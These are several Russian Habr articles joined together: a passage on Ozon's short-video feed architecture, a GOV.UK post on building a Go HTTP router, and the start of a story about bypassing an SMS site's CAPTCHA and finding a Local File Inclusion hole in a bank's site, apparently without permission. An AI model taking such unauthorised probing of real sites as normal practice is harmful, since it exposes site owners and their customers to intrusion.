3. Когда поток запущен, через админку стримера пользователь публикует свой стрим — и он становится доступен на видеоплатформе другим пользователям. Параллельно стартует запись стрима для возможности его просмотра после завершения трансляции.
4. Live-контент, так же как и VoD, раздаётся через кэширующие слои бэкенда Ozon и CDN провайдера.
Запихиваем всё в ленту
----------------------
Так как основное наполнение нашей ленты — это видео, то нужно впихнуть всевозможный контент с сохранением всех её фич. Основные типы контента, которые должны быть в ленте и обслуживаться видеоплатформой:
* видеоотзывы;
* live-трансляции;
* развлекательный видеоконтент.
Причём если видеоотзывы и live-трансляции к моменту релиза Моментов (кек) уже существовали и комфортно себя чувствовали на видеоплатформе, то развлекательные ролики были новым типом и требовали к себе подхода в лучших традициях соцсетей.
Пройдёмся по контенту чуть более подробно.
ВидеоотзывыПокупатель, купив определенный товар, может записать о нём видео и загрузить в карточку товара. Это и есть видеоотзыв.
Live-трансляцииЭто стримы продавцов. На них могут быть как распродажи с хорошими скидками, действующими во время стрима, так и разнообразные розыгрыши призов с викторинами, песнями и электрошокерами на ведущих (хорошие стримы и конкурсы интересные).
Развлекательный видеоконтентКороткие и залипательные ролики, в которых пользователи обычно в развлекательной форме взаимодействуют с товарами, снимая это всё на видео.
А что по технологиям?
---------------------
На момент проектирования Ozon Моментов на видеоплатформе весь контент раздавался по HLS в адаптиве. Немного теории:
HLS**HTTP Live Streaming** — протокол, придуманный корпорацией Apple, который позволяет предоставлять пользователю контент в виде нарезанных на кусочки (чанки) фрагментов, готовых к воспроизведению отдельно друг от друга. Может использоваться и для VoD, и для live-трансляции. Поддерживает возможность шифрования контента, разные качество, кодеки, языки, субтитры внутри одного HLS-потока.
В состав HLS обычно входят:
1. Мастер манифест, в котором указываются доступные качества контента, их параметры (разрешение, кодеки, количество каналов звука и так далее) и ссылки на скачивание этих качеств.
Пример:
```
#EXTM3U
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=779162,RESOLUTION=360x640,FRAME-RATE=30.000,CODECS="avc1.4d401e"
index-f1-v1.m3u8
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1428476,RESOLUTION=540x960,FRAME-RATE=30.000,CODECS="avc1.4d401f"
index-f2-v1.m3u8
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=2523337,RESOLUTION=720x1280,FRAME-RATE=30.000,CODECS="avc1.4d401f"
index-f3-v1.m3u8
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=5480232,RESOLUTION=1080x1920,FRAME-RATE=30.000,CODECS="avc1.4d4028"
index-f4-v1.m3u8
```
2. Медиаплейлисты, в которых описаны все сегменты выбранного качества, параметры сегментов и ссылки на них.
Пример:
```
#EXTM3U
#EXT-X-VERSION:7
#EXT-X-PLAYLIST-TYPE:VOD
#EXT-X-TARGETDURATION:2
#EXT-X-MEDIA-SEQUENCE:0
#EXT-X-MAP:URI="stream_0_init.m4s"
#EXTINF:2.000000,
stream_0_seg_1.m4s
#EXTINF:2.000000,
stream_0_seg_2.m4s
#EXTINF:2.000000,
stream_0_seg_3.m4s
#EXTINF:0.633333,
stream_0_seg_4.m4s
#EXT-X-ENDLIST
```
3. Медиасегменты, которые являются кусочками (чанками) медиаконтента.
Адаптивное вещаниеЭто способ раздачи контента для его воспроизведения без буферизаций на стороне клиента с учётом пропускной способности его интернет-соединения. Для адаптивного стриминга исходный медиапоток транскодируется в потоки разного размера и веса (например, в качество 1080р, 720р, 480р и 360р), которые режутся в одних и тех же местах на сегменты для синхронизации перехода с одного качества на другое. Картинка для наглядности:
Кодеки мы решили использовать самые стандартные:
* H.264 — для видео;
* AAC — для аудио.
Выбирали кодеки по простому правилу: чем распространённее, тем лучше. H.264 — это самый распространённый кодек, который может быть декодирован на 99,9% устройств с экраном на борту. AAC также считается стандартным для устройств, способных воспроизводить цифровые звуки.
> Примечание: естественно, есть более навороченные кодеки с лучшей степенью сжатия (типа H.265 или Opus), но мы их не используем (пока что) в связи с тем, что есть необходимость свести к минимуму используемые типы контента.
>
>
В данном решении всё вроде бы выглядит неплохо:
* адаптив для пользователей с разным каналом (будь они в центре Москвы на 10G или в деревне Средние Петушки на тонком канале от вышки времён «верните мне мой 2007-ой»);
* протокол стриминга поддерживается если не каждым, то почти каждым плеером (Siemens ME45 не в счёт);
* software-плееры практически не требуют каких-то сакральных знаний от клиентского разработчика (Plug and Play: добавил ссылку в плеер и — оно работает).
Но так как лента должна не только работать, но и работать быстро, то в таком решении хранения и раздачи контента будут проблемы. Вот основные из них:
* время старта будет страдать из-за большой вложенности адаптивных плейлистов HLS (плеер сначала идёт за адаптивным плейлистом со ссылками на медиаплейлисты, потом — за медиаплейлистом с медиасегментами, потом — за init-чанками с метаинформацией о потоках для инициализации плеера, и только после этого в плеер загружается сам закодированный кодеками медиа-payload);
* время перехода от одного видео к другому будет страдать из-за проблем с предзагрузкой HLS (например, в iOS сделать это по-простому не получится в связи с правилами безопасности системы, которая не даст воспроизвести контент до тех пор, пока он не будет скачан полностью).
Как минимум эти вещи без каких-либо внушительных затрат (разработка своего протокола, написание своих плееров, обеспечение их корректной работы и пр.) делают прямое использование HLS в ленте неприемлемым.
Получается, что для реализации видеоленты в нужном нам виде требуется что-то простое, что-то универсальное и легко интегрируемое… И имя ему (внезапно) MP4.
MP4 — это формат медиаконтейнера, являющийся частью стандарта MPEG-4. Используется для упаковки цифровых видео- и аудиопотоков, субтитров, афиш и метаданных, которые определены группой специалистов MPEG. Как и большинство современных медиаконтейнеров, MPEG-4 предусматривает возможность показа видео через интернет. Вместе с файлом передаются метаданные, содержащие необходимую для вещания информацию. Контейнер позволяет упаковывать несколько видео- и аудиопотоков, а также субтитров.
МР4-файл состоит из частей (так называемых атомов), которые отвечают за определённое поведение MP4-демультиплексора (грубо говоря, распаковщика MP4-контейнера). Вот пример структуры файла:
Атомы имеют в своей структуре несколько важных полей:
* SIZE — размер атома в байтах. Он нужен для корректности демультиплексирования структуры файла.
* TYPE — тип атома (например, упомянутые выше MOOV, FTYP, MDAT и пр.). Он указывается для корректного раскладывания вложенности атома.
* LARGESIZE — размер атома, в случае если параметра SIZE не хватает и атом слишком большой. Для этого в поле SIZE проставляется 1, оно игнорируется — и используется LARGESIZE.
* DATA — непосредственно данные атома.
Атомы бывают верхнеуровневыми и вложенными. Все атомы в рамках этой статьи описывать не имеет смысла (их достаточно много, при желании можно почитать о них [тут](https://wiki.multimedia.cx/index.php?title=QuickTime_container)), но основные три описать всё же стоит:
* [FTYP] — атом, указывающий на то, что файл формата MP4 (грубо говоря — MIME type);
* [MDAT] — атом, в котором находится payload для декодера;
* [MOOV] — атом, в котором описываются все дорожки внутри MP4-файла и их параметры для корректного декодирования.
В файле эти атомы обычно стоят в следующем порядке:
> **[FTYP] [MDAT] [MOOV]**
>
>
Это обусловлено следующим:
* при транскодировании медиадекодер сразу записывает полезные данные в файл;
* как только весь ролик корректно транскодируется, атом [MDAT] закрывается, а мультиплексор понимает выходные параметры файла (его медиапотоки, их длительность и пр.);
* в конце дописывается атом [MOOV] с указанием структуры и информации о файле.
При такой структуре MP4 есть проблемы с воспроизведением — файл не может проигрываться по HTTP сразу. Объяснение простое: для воспроизведения нужно сначала инициализировать декодеры и только после этого закидывать payload в топку плеера. Но так как все параметры для декодера находятся в атоме [MOOV] (а он, напоминаю, располагается в самом конце файла), то клиенту нужно скачать весь файл, чтобы добраться до заветных настроек. В случае если файл достаточно большой (четырёх-часовая лекция о пользе тепличных огурцов и силе земли), то быстрый старт получить вам вряд ли удастся.
> Примечание: в настоящее время некоторые плееры оснащены умным воспроизведением MP4-файлов и могут сами использовать range-запросы для получения атома [MOOV] отдельно (например, Google Chrome так умеет), но уповать на это, естественно, не надо.
>
>
Для того чтобы файл сразу был доступен для воспроизведения без полной загрузки, нужно перенести атом [MOOV] ближе к его началу. Хороший MP4-файл, пригодный к неистово быстрому воспроизведению по HTTP, имеет следующую структуру:
> **[FTYP] [MOOV] [MDAT]**
>
>
### Что ж, поехали делать модно и красиво!
Итак, что же надо изменить в текущей схеме, чтобы всё получилось? По большому счёту нужно научиться отдавать контент в двух видах (HLS и MP4), при этом максимально избегая дублирования контента в хранилище и поддерживая функциональность, которая уже есть в видеоплатформе Ozon.
Для этого нужно:
* изменяем специальные настройки для транскодера, который будет генерировать MP4-файлы с атомом [MOOV] в хедере;
* реализовать возможность раздачи таких файлов в виде HLS-адаптива;
* подготовить основные и дополнительные файлы для визуально бесшовного воспроизведения;
* сделать так, чтобы live-трансляции могли быть встроены в видеоленту.
Первое и главное, что нужно реализовать, — это раздача MP4-файлов в адаптивном HLS без дублирования контента. Серебряной пулей для этого будет [модуль для Nginx](https://github.com/kaltura/nginx-vod-module) от команды Kaltura. Основная фича этого модуля, нужная нам — это то, что он позволяет из обыкновенных MP4 нарезать на лету адаптив в HLS. Для этого нужно всего ничего:
* развернуть Nginx с этим модулем и настроенным конфиг-файлом для раздачи нарезанного HLS (делаем Docker-контейнер с нужными версиями и конфигурациями, чтобы по нажатию кнопки поднимать N инстансов в модных кубернетесах);
* указать upstream на что-то, откуда будут отдаваться MP4-файлы (это может быть локальное хранилище, но в нашем случае это S3);
* указать место, откуда можно получать конфигурационные JSON-файлы, содержащие ссылки на MP4-файлы для нарезания в HLS (в нашем случае — отдельная ручка микросервиса для отдачи таких конфигурационных файлов по ID контента).
Теперь то, что получилось, нужно аккуратно вклинить в имеющийся флоу раздачи контента. Так как на походы до S3 за MP4-файлами тратится много времени, то наилучшим вариантом будет разместить ноды с `nginx-vod-module` максимально близко к хранилищу MP4-файлов и к проксирующей ноде. Также было бы неплохо максимально быстро ходить и до ручки микросервиса с конфигурационными файлами для контента. Таким образом, новая схема с `nginx-vod-module` получилась такая:
Главная задача решена. Теперь нужно подготовить файлы для удобной раздачи в формате MP4, но чтобы при этом иметь возможность раздавать контент через `nginx-vod-module`. Для этого на транскодере генерируем MP4-файлы, в которых переписываем структуру, перенося атом [MOOV] в начало.
> Примечание: `nginx-vod-module` умеет на лету преобразовывать файлы из обычных не подготовленных для раздачи по HTTP файлов MP4 уже с перенесённым атомом [MOOV]. Но зачем, если можно раздавать уже предподготовленные файлы напрямую из S3?
>
>
А что про стримы?
-----------------
С генерацией VoD-контента вроде как всё хорошо и понятно. Но что делать с live-потоками? Стримы генерируются в адаптивный HLS, который не совсем удовлетворяет нас в задаче наполнения контентом ленты коротких видео. Завернуть их в MP4 нельзя, так как для этого нужен кастомный плеер (чего мы стараемся избежать). Вдобавок MP4 не поддерживает адаптивность, а с учётом качества покрытия и работы беспроводных и мобильных сетей адаптивный битрейт на трансляциях просто необходим. Ну и вдобавок хочется весь контент, поступающий в ленту, свести к одному типу, чтобы облегчить жизнь и разработчикам, и пользователям.
Новая цель — сделать из адаптивного живого HLS-потока простой и легковоспроизводимый MP4-файл.
Так как в случае с таким видеопревью перед нами не стоит задача отдавать наисвежайший контент, мы попробовали сделать фоновый воркер, который будет на стороне транскодера собирать из самых свежих медиасегментов (чанков) простой MP4-файл. Этот воркер перекладывает контент из живого HLS-потока в MP4-контейнер и отдаёт его как VoD-контент со всеми вытекающими плюшками. Убедившись, что такой вариант всех устраивает, нужно было сделать так, чтобы исключить возможность перезаписи файла во время его отдачи с транскодера и без дополнительных вызовов переупаковщиков.
Так как в [FFmpeg](https://ffmpeg.org/) (да, у нас, как почти у всех, для транскодирования видео используется именно он) есть возможность генерировать один набор полезных данных и укладывать их как душе угодно в рамках одной команды, то флоу внутри FFmpeg был немного допилен для генерации нескольких видов контента. А именно:
* оставили HLS-генерацию как есть (она нас более чем устраивает);
* добавили MP4-мультиплексор для одного из качеств, которое летит в HLS-адаптив, и укладывали его как есть (контент не требует повторного транскодинга);
* также настроили MP4-мультиплексор для сегментирования входящего контента частями, генерируя новый MP4-файл в определённую дельту времени;
* обновлённый файл записывали в отдельный плейлист, по которому можно контролировать последний из сгенерированных файлов, содержащий последнюю часть стрима.
Схема до изменений выглядела следующим образом:
А так она выглядит после:
Таким образом, в рамках одного запуска FFmpeg мы генерируем привычный всем live HLS-адаптив, а рядышком складываем обновляемые сегменты в формате MP4 с возможностью быстрого просмотра по HTTP. Именно последние раздаются на клиент, что решает задачу интеграции стримов в текущую парадигму ленты коротких видео.
А что там по клиентам?
----------------------
На клиентах для реализации проигрывания коротких видео всё достаточно стандартно:
* на iOS — нативный [AVPlayer](https://developer.apple.com/documentation/avfoundation/avplayer) от Apple;
* на Android — [ExoPlayer](https://exoplayer.dev/) от Google.
Мы взяли базовые плееры по основным двум причинам:
1. Они разработаны самими производителями мобильных платформ. Поэтому меньше вероятность того, что при обновлении ОС плеер упадёт на спину и скажет: «У меня лапки, ошибка “146%\_callibration\_ololo\_dudulka”, и вообще не трогайте меня».
2. Скорость разработки. Так как разбираться в том, как работает кастомный плеер на С/С++ с использованием GStreamer под капотом и сооружением HW-ускоренного пайплайна, без лишней необходимости не было ни желания, ни возможности.
> Примечание: вставлять код стандартных плееров я, конечно же, не буду, так как его легко найти в интернетах (для особо ленивых: [iOS](https://developer.apple.com/documentation/avfoundation/media_playback/creating_a_basic_video_player_ios_and_tvos), [Android](https://exoplayer.dev/hello-world.html)).
>
>
Проанализировав макеты и решения других компаний и сопоставив дедлайны на реализацию минимальной, но прилично выглядящей функциональности, мы составили требования к видеоплеерам в ленте. Вот основные:
1. Возможность использования аппаратного ускорения.
2. Работа более чем одного плеера одновременно.
3. Быстрый старт.
Рассмотрим их поближе.
### 1. Возможность аппаратного ускорения
Так как рендеринг видео — очень энерго- и ресурсозатратная вещь, то этот пункт особенно важен. Если декодировать и рендерить видео на CPU, то это скажется на улетающей в ноль батарее и (особенно на старых устройствах) тормозах при пользовании устройства. Чтобы разгрузить CPU для осуществления более нужных вычислений, необходимо использовать плееры с аппаратным ускорением декодирования.
**iOS:** AVPlayer автоматически использует аппаратное декодирование для H.264 из коробки.
**Android**: внутри ExoPlayer также существует поддержка аппаратного декодирования для H.264.
### 2. Работа более чем одного плеера одновременно
Законом не запрещено нагенерировать сразу кучу плееров и использовать их когда и как вздумается. Но нужно понимать, что ресурс мобильного устройства не бесконечен, и при запуске 100500 плееров одновременно заставить их работать с аппаратным ускорением, увы, не получится. А я напомню: видео весьма затратно декодировать по ресурсам. Поэтому нужно научиться правильно переиспользовать плееры, чтобы не убивать драгоценное время на переинициализацию и прочее.
Видеолента в Ozon Моментах спроектирована так, что одновременно пользователь не может видеть больше чем три плеера:
* предыдущий,
* текущий,
* следующий.
Пример:
Эти три плеера идут «паровозиком». Как только происходит перелистывание видео вперёд и скрывается последний плеер, он становится вперёд. Таким же образом работает свайп на предыдущий видеоплеер.
Что самое приятное: можно запустить три плеера одновременно с аппаратным ускорением даже на достаточно старом Android-устройстве, что положительно скажется на автономности батареи и работоспособности устройства в целом.
### 3. Быстрый старт
Медленный старт видео — это комплексная проблема. Замедляет время старта огромное количество факторов:
* криво собранный плеер (плеер инициализируется только при поступлении в него атома с метаинформацией);
* тяжёлый контент (завышенные параметры качества для UGC);
* проблемы сети (потери на мобильной сети + большое RTT = медленный старт).
> Примечание: UGC (user generated content) — контент, созданный пользователями, например селфи-танцы с подругой или видео с пёсиком, который смешно чихает.
>
>
Так как в этой части статьи мы говорим про клиент, то очевидно, что нужно лезть в плеер.
В первой итерации мы просто поставили плееры как есть, но производительность нас не устроила. Так как сердце видеоленты — плеер, перво-наперво идём смотреть его настройки. Основная жалоба заключалась в том, что видеоплеер очень медленно стартует, что указывало на проблему начальной буферизации.
При изменении настроек буферизации тоже нужно найти золотую середину:
* если сильно раздуть буфер плеера, то можно очень долго не начинать проигрывать контент и время старта просядет;
* если сделать буфер минимальным, то время старта будет крайне мало, но пользователь будет постоянно отправляться в буферизацию (видеть тот самый бесящий кружок лоадера) и качество пользовательского опыта значительно просядет.
Буфер обычно указывается во времени.
**iOS:** В AVPlayer на устройствах Apple за это отвечает метод `preferredForwardBufferDuration` класса `AVPlayerItem`. Параметр задаётся в секундах. Apple в документации пишут, что все за вас сами сделают, если задать параметр 0 (или оставить нетронутым).
Пример:
```
let url = URL(string: “https://example/path/to/video/sample.mp4")
let asset = AVAsset(url: url)
let playerItem = AVPlayerItem(asset: asset)
playerItem.preferredForwardBufferDuration = newBufferDurationValue
let player = AVPlayer(playerItem: playerItem)
```
**Android:** В плеере на устройствах с операционкой от Google за это отвечает метод `setBufferDurationsMs` класса `DefaultLoadControl`. Параметр задаётся в миллисекундах. Он обладает параметрами:
* `minBufferMs` — минимальный буфер (default: 50000);
* `maxBufferMs` — максимальный буфер (default: 50000);
* `bufferForPlaybackMs` — буфер для старта плейбэка (default: 2500);
* `bufferForPlaybackAfterRebufferMs` — буфер для выхода из буферизации (default: 5000).
Пример:
```
DefaultLoadControl loadControl = new DefaultLoadControl
.Builder()
.setBufferDurationsMs(minBufferMs, maxBufferMs, bufferForPlaybackMs, bufferForPlaybackAfterRebufferMs)
.createDefaultLoadControl();
```
Покрутив эти параметры, старт плееров на обеих платформах стал гораздо бодрее, но этого всё ещё было недостаточно, так как при быстром пролистывании видеотайтлов были заметны тормоза и лаги. Полезли, как говорится, глубже…
Чтобы отсутствие видеопотока при быстром пролистывании не бросалось в глаза, мы делаем следующее:
* на стороне бэкенда забираем из видеоролика первый фрейм, упаковываем его в JPEG и отправляем в хранилище (это достаточно быстрая операция, учитывая, что первый фрейм находится в самом начале и весь файл декодировать не нужно);
* на стороне микросервиса, который занимается выдачей списка видео для мобильных клиентов, появляется дополнительное поле, в котором указана ссылка до этого JPEG-файла;
* клиент при запросе выдачи ленты получает список видео с этими ссылками и заранее скачивает их, сохраняя у себя локально (они весят всего ничего, поэтому скачивание происходит достаточно быстро);
* та часть экрана, в которой находится видеоплеер, перекрывается картинкой с первым кадром и уже готова для отображения контента пользователю, даже если видео вообще ещё даже не начинало скачиваться. По готовности плеера (он инициализирован и набрал буфер) картинка скрывается — и видео начинает проигрываться.
Это дало более приятный и бесшовный переход между элементами в ленте видео, но и этого оказалось недостаточно. Мы заметили неприятный эффект: даже при наличии первого кадра заглушкой контент мог долго лететь до клиента, что создавало «неловкие мгновения ожидания» проигрывания видео.
Для решения этой проблемы решили сделать prefetch-схему для заблаговременной загрузки контента. Идея проста: в момент загрузки N-ного ролика в фоне идёт загрузка N+1,2,3… — причём только первых нескольких секунд, а не видео целиком. Когда приходит очередь проигрывать следующий ролик, мы смотрим его сразу же, так как начало ролика уже загружено, а оставшийся контент докачивается по необходимости. Такой подход решил проблему ступора при проигрывании следующего видео в тех случаях, когда клиент не успел загрузить видео.
Как оно вышло в итоге
---------------------
В итоге мы получили ленту коротких видео, состоящих из разнообразного контента: видеообзоров, развлекательных видео и live-трансляций. Местами — вполне себе залипательно.
Естественно, есть ещё вещи, которые нужно допиливать и тюнить, но это уже совсем другая история.
 | https://habr.com/ru/post/690596/ | null | ru | null |
# Починка электронного правительства Объединенного Королевства посредством языка Go
Это первая ласточка в серии [публикаций](http://habrahabr.ru/post/243327/) о новом динамическом HTTP маршрутизаторе поддерживающем GOV.UK. Это письмо проливает свет на наш порыв, объясняет решимость и подытоживает приобретенный опыт.
##### Зачем это нам сдалось.
GOV.UK это уникальный правительственный домен, предоставляющий сервисы и информацию сотен правительственных подразделений в одном месте. Это специально, чтобы скрыть армию департаментов и коллегий подъедающихся на оказании незамысловатых услуг. Разумеется за фасадом, GOV.UK — это не монолитная огромная программа, а конгломерат небольших приложений предназначенных для выполнения одной задачи, [в духе UNIX](https://ru.wikipedia.org/wiki/%D0%A4%D0%B8%D0%BB%D0%BE%D1%81%D0%BE%D1%84%D0%B8%D1%8F_UNIX). С целью представить эти приложения как единый вебсайт нам необходим сгусток технологий способный препроводить запросы пользователей к надлежащим сервисам: HTTP маршрутизатор.
Когда мы начинали, в октябре 2012, задачу маршрутизации исполняли три единообразно настроенных экземпляра [Varnish](https://www.varnish-cache.org/) на передовой линии всего хозяйства. Varnish заслуживает самых высоких похвал, но мы вероятно подошли к границе его возможностей. Само собой на настроечные скрипты [VCL](https://www.varnish-cache.org/trac/wiki/VCL) нельзя было смотреть без содрогания
```
if (req.url ~ "^/autocomplete(\?.*)?$|^/preload-autocomplete(\?.*)?$|^/sitemap[^/]*.xml(\?.*)?$") {
<%= set_backend('search') %>
} else if (req.url ~ "^/when-do-the-clocks-change([/?.].*)?$|^/bank-holidays([/?.].*)?$|^/gwyliau-banc([/?.].*)?$") {
<%= set_backend('calendars') %>
} else if (req.url ~ "^/(<%= @smartanswers.join("|") %>)([/?.].*)?$") {
<%= set_backend('smartanswers') %>
} else if (req.url ~ "^/child-benefit-tax-calculator([/?.].*)?$") {
<%= set_backend('calculators') %>
} else if (req.url ~ "^/stylesheets|^/javascripts|^/images|^/templates|^/favicon\.ico(\?.*)?$|^/humans\.txt(\?.*)?$|^/robots\.txt(\?.*)?$|^/fonts|^/google[a-f0-9]{16}\.html(\?.*)?$|^/apple-touch(.*)?\.png$") {
<%= set_backend('static') %>
} else if (req.url ~ "^/(designprinciples|service-manual|transformation)([/?.].*)?$") {
<%= set_backend('designprinciples') %>
...
} else {
<%= set_backend('frontend') %>
}
```
Если не бесчинства с регулярными выражениями в условиях, от которых кровью наливаются глаза у битого жизнью системного администратора, то что же не так с этим обустройством?
Основные напасти понудившие нас переосмыслить HTTP маршрутизатор таковы:
1. Ремонтопригодность: аккумулирование списка всех маршрутов в одном файле влечет за собой нежелательно частые шаманские танцы с бубнами. Когда приложение требует изменить URL за который отвечает, мы вынуждены обновлять VCL скрипты вместе с приложением, операция требующая известной изворотливости. Хуже того, необходимость обновления единого файла насыщенного мистическим синтаксисом и велосипедами выводит на сцену новые риски при изменении любого URL, что заметно нас затормаживает.
2. Производительность труда: Varnish стойко сносит наши надругательства над своим конфигурационным языком, но заключительные строки помянутого VCL скрипта вызывают у нас неотступную мигрень.
Фортели производительности на самом деле послужили толчком. GOV.UK скрывает за фасадом десяткам тысяч URL и нам не уперлось бдеть над всем этим богатством в конфигурации Varnish. Нет худа без добра, по большей части этот сонм URL обслуживается всего двумя приложениями, frontend и whitehall, которые соответственно преподносят гражданам главное — контент (вроде [browse pages](https://www.gov.uk/browse)) и [government corporate publishing pages](https://www.gov.uk/government/organisations). Эти приложения в свою очередь получают контент через [contentAPI](https://github.com/alphagov/govuk_content_api), внутренний интерфейс к базе данных, которая хранит всю первозданую мудрость GOV.UK. А значит, любой запрос к фасаду после свистопляски с вереницей условностей VCL может породить за сценой следующие запросы
1. Varnish -> frontend
2. frontend -> contentAPI(«нет ли у вас этакой странички и хорошо бы в доступном мне формате»)
3. Если frontend не владеет контентом он возвращает 404 и наш вебсервер nginx попытает счастья с приложением whitehall.
4. whitehall -> contentAPI
Очуметь? Ага. Даже если все запросы обрабатываются быстро (и «быстро», вы думаю заметили, в Rail приложении это не то, чтобы стремительно), мы все еще говорим о, по меньшей мере, 200ms для 404 или 150ms, чтобы вернуть любую страницу whitehall. Пожалуй самое досадное то, что для каждого успешного запроса к whitehall мы делаем два запроса к серверам приложений возвращающих 404. Каждый сервер приложений имеет ограниченное число потоков обработки (мы ставим [unicorn](http://unicorn.bogomips.org/) перед Ruby приложением), как следствие, пока 404 обреченный запрос уныло следует к финалу, никакой другой запрос не может быть обработан тем же процессом.
Нужно что то менять.
##### Прототип нового маршрутизатора.
Тогда в апреле я потратил несколько дней прикидывая, а что собственно улучшенный маршрутизатор должен улучшить. Я принял решение использовать [Go](http://golang.org/). Простота языка и гарантии компилятора Go позволяют ему прекрасно уживаться с базовыми компонентами нашей HTTP инфраструктуры и несколько беглых экспериментов с замечательным пакетом [net/http](http://golang.org/pkg/net/http/) укрепили меня в этом решении. В частности, модель многозадачности реализованная в языке Go делает до смешного простым создание высокопроизводительных приложений завязанных на I/O, каковым приложением безусловно и должен быть правильно построенный маршрутизатор.
##### Оборудование [префиксного дерева trie](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D1%84%D0%B8%D0%BA%D1%81%D0%BD%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE)
Первым делом встал вопрос, как хранить и искать записи в таблице маршрутов. GOV.UK содержит [отличные URL](https://insidegovuk.blog.gov.uk/url-standards-for-gov-uk/) отражающие логическую структуру сайта. (Например, главная страница Министерства Здравоохранения живет на /government/organisations/department-of-health, дочерняя страница списка департаментов и учреждений проживающего на /government/organisations). Ввиду древовидной структуры URL и, по сути своей, префиксной маршрутизации(поскольку, например, все включающее /government обслуживается одним приложением), естественным выбором стало префиксное дерево, trie.
Реализовать префиксное дерево на Go оказалось парой пустяков. Результатом (который, как и все упоминающееся в этом письме, доступен на [GitHub](https://github.com/alphagov/router/tree/master/trie)) стала структура данных способная отражать срезы массивов slice строк ([]string{«government», «organisations»}) на произвольный тип (interface{}, говоря на языке Go). Встроенная в язык поддержка тестирования придавала процессу особую негу. Несмотря на то, что это был прототип, написание тестов не потребовало чрезмерных усилий, так 80 строк пакета trie обернулись не более чем 200 строками [тестов с данными](https://github.com/alphagov/router/blob/master/trie/trie_test.go)(data-driven-test, DDT).
##### Поддержка HTTP
Следующим шагом стало использование префиксного дерева в качестве таблицы маршрутизации. Go располагает самобытной (бесспорно прекрасно спроектированной) HTTP библиотекой, net/http, в которой во главу угла поставлен обработчик(handler), или http.Handler. Типом http.Handler является интерфейс. Ширина полей не позволяет пуститься в толкование системы типов Go и место в ней типа интерфейс, но правомерным будет сказать: если вы можете реализовать метод ServeHTTP(ResponseWriter, \*Request) на своем типе, то этот ваш тип можно использовать как http.Handler.
Именно в этом и состоит предназначение пакета triemux. Mux, сокращение от multiplexer, коммутатор, это термин используемый Go для обозначения компонента принимающего и маршрутизирующего запросы в разных направлениях для дальнейшей обработки на основании свойств(например URL) этих запросов. Другими словами это HTTP маршрутизатор. Поскольку triemux удовлетворяет http.Handler он является HTTP маршрутизатором и может использоваться наравне с предопределенным ServeMux из стандартной библиотеки Go. Наше поделие добавляет толику защищенности параллельному доступу к таблице маршрутизации([замок чтение-запись](https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock)), что позволяет динамически обновлять таблицу при этом не прерывая обслуживание текущих запросов.
Элегантности набившему оскомину шаблону http.Handler добавляет тот факт, что коммутатор(mux) сам вполне http.Handler, не более чем способ перенаправить трафик к другим http.Handler обработчикам. triemux не строит предположений относительно конструкции обработчиков, ему одинаково куда коммутировать. Здесь на паркет выходит пакет router.
##### Динамическая загрузка маршрутов.
Чтобы действительно решить проблемы очерченные в первых строках письма мы должны подгружать маршруты из некоего хранилища, которое может обновляться приложениями при их развертывании. Мы вовсю используем [MongoDB](http://mongodb.org/) под капотом GOV.UK и пакет router являет связующее звено triemux с базой данных Mongo. Маршруты загружаются в память при запуске системы и трафик перенаправляется к одному из движков обработки (тоже определенных в базе данных) посредством встроенной [reverse proxy factory](http://golang.org/pkg/net/http/httputil/#NewSingleHostReverseProxy). Такая компоновка привносит ряд приятностей. А именно, мы можем динамически загружать маршруты при развертывании приложений и [подменять таблицу маршрутов атомарно](https://github.com/alphagov/router/blob/8bce65c8e48d23aba9845c229ee8498cd764b4ac/router.go#L114), не роняя запросов при этом. Если дела пойдут неважно при перезагрузке маршрутов(например не складывается разговор с Mongo), мы легко можем зарегистрировать [отложенную процедуру восстановления](https://github.com/alphagov/router/blob/8bce65c8e48d23aba9845c229ee8498cd764b4ac/router.go#L90-L96) гарантирующую бесперебойное продожение маршрутизации.
##### Маршрутизатор, исполнено.
К началу работ над новым маршрутизатором для GOV.UK за мной не числилось практически ничего работающего, написанного на Go. Однако весь этот джаз занял всего два с половиной дня, причем результат трудов превзошел по производительности наш существующий производственный конвейер на несколько порядков.(Фактически у меня не вышло замерить отзывчивость маршрутизатора. Всю дорогу выходили замеры тестовых серверов за спиной маршрутизатора, а не самого маршрутизатора как такового.)
Впоследствии я стал называть это «необузданной эффективностью Go»(с разрешения Eugene Wigner). Go компактный язык, целиком умещающийся в голове, что по большей части и позволило мне стать эффективным в крайне сжатые сроки. Но размер языка обманчив в отношении его выразительности, качества стандартных библиотек и поразительной легкости, с которой достаточно сложные сущности производятся из немудреных запчастей (в нашем случае, trie -> triemux -> router).
Со всей уверенностью могу заявить, я вынес самые приятные ощущения из своего похождения. Но от работающего прототипа до боевого построения путь неблизкий, в особенности касательно нагруженных компонент GOV.UK. Теперь моим коллегам предстоит куда как более тяжелая работа по тестированию и разворачиванию нового маршрутизатора перед [национальным ресурсом](https://twitter.com/psd/status/258414355056562178).
[Оригинал](https://gdstechnology.blog.gov.uk/2013/12/05/building-a-new-router-for-gov-uk/) | https://habr.com/ru/post/205284/ | null | ru | null |
# История одного проникновения
Топики о ловли хакеров заставили меня написать этот пост.
Хочу поделиться с вами историей, которая случилась со мной несколько лет назад.
Сразу скажу, мое увлечение — безопасность веб-приложений.
Случайно гуляя по интернету, мой друг нашел сайт для отправки бесплатных смс на номера украинских операторов. Там мы нашли небольшую уязвимость, связанную с обходом теста Тьюринга (каптчи).
Так как я и мой друг любим искать уязвимости, мы играли в игру, смыслом которой, кто из нас быстрей обойдет каптчу.
Но сегодня рассказ не об этом, а о том, что же было дальше нами обнаружено.
Однажды, мой друг, просматривая исходный код страницы сайта для отправки бесплатных смс обнаружил интересный HTML код:
> `HREF="#" onClick="javascript:window.open('https://hackbank.ua/test.php?code=MOBILE&state=2&xslt\_url=service\_host.xsl', ' 'quickpay','toolbar=0,status=0,menubar=0,scrollbars=0,width=650,height=400',false);" CLASS="header"**>** SRC="www.sms1.ua/img/topupeasy.jpg" WIDTH="82"
>
> HEIGHT="34" ALT="Пополняй легко!" BORDER="0" VSPACE="0"**>**`
Ссылка, которая по логике должна скачивать файл на компьютер была для нас очень даже интересной.
Не прошло и 5 минут как мы обнаружили уязвимость **Local File Inclusion**
